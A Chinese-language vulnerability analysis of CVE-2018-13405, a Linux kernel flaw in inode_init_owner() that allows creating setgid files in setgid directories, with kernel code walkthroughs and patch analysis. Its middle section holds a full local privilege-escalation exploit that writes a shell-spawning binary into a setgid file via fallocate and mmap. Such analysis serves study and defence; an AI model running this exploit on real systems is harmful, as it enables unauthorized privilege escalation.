
author:[email protected]
漏洞簡介
Linux 核心在具有 setgid 權限的目錄中建立檔案時處理不當,導緻可以建立具有 setgid 權限的空檔案,随後通過巧妙利用系統調用可以随意更改檔案内容,進而構造出具有 setgid 權限的可執行檔案,實作越權。
背景知識
linux 下檔案權限的設定對象可以分為 3 類:屬主(owner)、屬組(group)、其他人(other)。對于每一個對象又可以分出三種權限讀、寫、執行,分别對應 r、w、x。 對于檔案而言,讀屬性(read)表示可以檢視檔案的内容,寫屬性(write)表示可以編輯、增加或者是修改檔案的内容(不包含删除),執行屬性(execute)表示使用者可以執行該檔案。對于目錄而言,讀屬性(read)表示可以讀取目錄結構清單,寫屬性(write)表示可以對目錄結構進行更改(建立、删除檔案等),執行屬性(execute)表示使用者有權進入該目錄。 除了這些操作權限之外,還有三種特殊權限,稱為 Linux 的附權重限。包括 SET 位權限(SUID,SGID)和粘滞位權限(SBIT)。 SUID 和 SGID 作用于檔案時的功能類似(SUID隻能作用于檔案,SGID可以作用于目錄),當使用者執行擁有 SUID(SGID)權限的檔案時,執行期間,程式的屬主(屬組)變為該檔案的屬主(屬組)。通過這種方式可以讓沒有特權的使用者在需要執行需要特權的任務時,在程式運作期間短暫的擁有特權使用者的權限。當目錄擁有 SGID 權限時,使用者在目錄中的有效組變為該目錄的屬組,如果使用者擁有寫權限,則在目錄中建立的檔案時,檔案的預設屬組為該目錄的屬組。粘滞位主要作用于目錄,當目錄設定粘滞位後,即使使用者擁有目錄的寫權限,也無法删除該目錄中其他使用者的檔案資料。 Linux 支援多種不同的檔案系統,為了實作這一目的,Linux 隐去各種檔案系統之間的細節,抽象出了一個統一的、虛拟的檔案系統 VFS(Virtual File System)。VFS 将檔案分成兩部分,檔案本身的屬性,檔案通路權限、大小、擁有者、建立時間、通路時間等與檔案的資料分開,抽象出來存儲在索引節點對象(inode)中。其中幾個特殊值如下(include/linux/fs.h:579-680):
struct inode {
umode_t i_mode;
...
kuid_t i_uid;
kgid_t i_gid;
...
const struct inode_operations *i_op;
struct super_block *i_sb;
...
}
其中 i_mode 儲存的是檔案的通路權限,i_uid、i_gid 則分别儲存檔案所有者的 UID 和 GID。i_op 指向 inode 的操作函數表(inode_operations 結構體,該結構體儲存了所有針對 inode 的操作函數,include/linux/fs.h:1634-1668)。i_sb 指向了該 inode 相關的超級塊。
struct inode_operations {
...
int (*readlink) (struct dentry *, char __user *,int);
void (*put_link) (struct inode *, void *);
int (*create) (struct inode *,struct dentry *, umode_t, bool);
...
}
漏洞分析
調試環境為 ubuntu 16.04,kernel 版本 4.4.0 漏洞發生在 fs/inode.c:inode_init_owner() 函數中。在使用 open 建立新檔案時會調用這個函數。我們知道對目錄擁有寫權限,才可以在其中建立檔案。是以建立檔案的函數定義在針對目錄的操作函數表中。在 ext4 檔案系統中的定義如下(fs/ext4/namei.c:3831-3853):
const struct inode_operations ext4_dir_inode_operations = {
.create = ext4_create,
...
};
ext4_create 的實作如下(fs/ext4/namei.c:2423-2462),該函數的主要功能就是為新建立的檔案建立 inode。
static int ext4_create(struct inode *dir, struct dentry *dentry, umode_t mode,
bool excl)
{
...
retry:
inode = ext4_new_inode_start_handle(dir, mode, &dentry->d_name, 0,
NULL, EXT4_HT_DIR, credits); // 建立 inode 的主要函數
...
}
ext4_new_inode_start_handle 是一個宏定義(fs/ext4/ext4.h:2398-2401):
#define ext4_new_inode_start_handle(dir, mode, qstr, goal, owner, \
type, nblocks) \
__ext4_new_inode(NULL, (dir), (mode), (qstr), (goal), (owner), \
(type), __LINE__, (nblocks))
__ext4_new_inode 定義在 fs/ext4/ialloc.c:730-1136,是建立 inode 的主要函數。
struct inode *__ext4_new_inode(handle_t *handle, struct inode *dir,
umode_t mode, const struct qstr *qstr,
__u32 goal, uid_t *owner, int handle_type,
unsigned int line_no, int nblocks)
{
struct super_block *sb;
...
sb = dir->i_sb;
...
if (owner) {
inode->i_mode = mode;
i_uid_write(inode, owner[0]);
i_gid_write(inode, owner[1]);
} else if (test_opt(sb, GRPID)) {
inode->i_mode = mode;
inode->i_uid = current_fsuid();
inode->i_gid = dir->i_gid;
} else
inode_init_owner(inode, dir, mode);
...
}
其中 owner 來自于調用 ext4_new_inode_start_handle 時的第5個參數 NULL。test_opt 用來測試該檔案系統的超級塊資訊(fs/ext4/ext4.h:1070-1071),判斷檔案系統挂載時的挂載标志,EXT4_MOUNT_GRPID 判斷是否以目錄的屬組來建立檔案,預設并未設定,是以會調用 inode_init_owner 函數。
#define test_opt(sb, opt) (EXT4_SB(sb)->s_mount_opt & \
EXT4_MOUNT_##opt)
來看一下 inode_init_owner 的實作:
void inode_init_owner(struct inode *inode, const struct inode *dir,
umode_t mode)
{
inode->i_uid = current_fsuid();
if (dir && dir->i_mode & S_ISGID) {
inode->i_gid = dir->i_gid;
if (S_ISDIR(mode))
mode |= S_ISGID;
} else
inode->i_gid = current_fsgid();
inode->i_mode = mode;
}
EXPORT_SYMBOL(inode_init_owner);
該函數的主要作用是來初始化建立 inode 的 uid、gid 和 i_mode 屬性,首先将 inode 的 uid 設定為程序 uid,随後如果目錄設定了 SGID,則将 inode 的 gid 設定為目錄的 gid。如果建立的 inode 為目錄的話,會預設為 mode 添加上 SGID,并将其指派給檔案。但是對于檔案則未作處理,是以如果初始 mode 即帶有 SGID 權限的話,最終可以成功建立一個具有 SGID 權限的空檔案。 調用棧如下圖:


來看一下如下示例:
#include
void main(void) {
open("dir/file", O_RDONLY|O_CREAT, 02755);
}
運作結果如圖所示,可以看到成功建立了一個0位元組的 sgid 檔案。


我們已經成功建立了一個空的 sgid 檔案,但是這對我們而言,作用不大,接下來研究如何向該檔案中寫入資料。 如果使用 write 系統調用直接寫入檔案,雖然可以成功寫入,但是 write 會觸發 killpriv 機制,導緻檔案的 sgid 權限被去除。原因在于 write 在寫入檔案之前會調用 file_remove_privs,該函數會判斷檔案的特殊權限,如果檔案擁有 suid 标志或者同時有 sgid 和寫權限,函數會調用 __remove_privs 将這些權限去除。如下示例:
#include
#include
#include
#include
#include
int main(void) {
char *buf = "It's a test!\n";
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
write(fd, buf, strlen(buf));
close(fd);
}
運作結果如圖:


可以使用 fallocate 和 mmap 系統調用實作我們的目的,首先調用 fallocate 擴大檔案大小,随後調用 mmap 将其影射到程序位址空間。對 mmap 後檔案的寫操作不會清除檔案的特殊權限。 完整利用如下:
// demo2.c
#define _GNU_SOURCE
#include
#include
#include
void main()
{
setresgid(0, 0, 0);
system("/bin/sh");
}
// fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
int main(void) {
int src_fd = open("/home/al3x/cve-2018-13405/demo2", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "", NULL);
err(1, "execl");
}
運作效果如下圖所示:


更新檔分析
漏洞更新檔如下:


可以看到,在原有的基礎上又加了添加了一條判斷語句,如果符合則去除 S_ISGID 标志。 首先判斷 mode 是否同時包含 GID 群組執行。随後調用 in_group_p 函數。該函數判斷目錄的屬組是否在程序的檔案系統或任何補充組中。最後調用 capable_wrt_inode_uidgid 檢測目前程序是否設定了 CAP_FSETID 标志,同時檢測目錄的 uid 和 gid 是否映射到目前使用者的命名空間中。CAP_FSETID 标志有兩條作用:1. 當檔案被編輯時不會去除其 suid 和 sgid 權限;2. 為 gid 與調用程序的檔案系統或任何補充組都不比對的檔案設定 sgid 标志。 如果上述三條條件同時滿足,則去除建立檔案的 S_ISGID 标志
參考文獻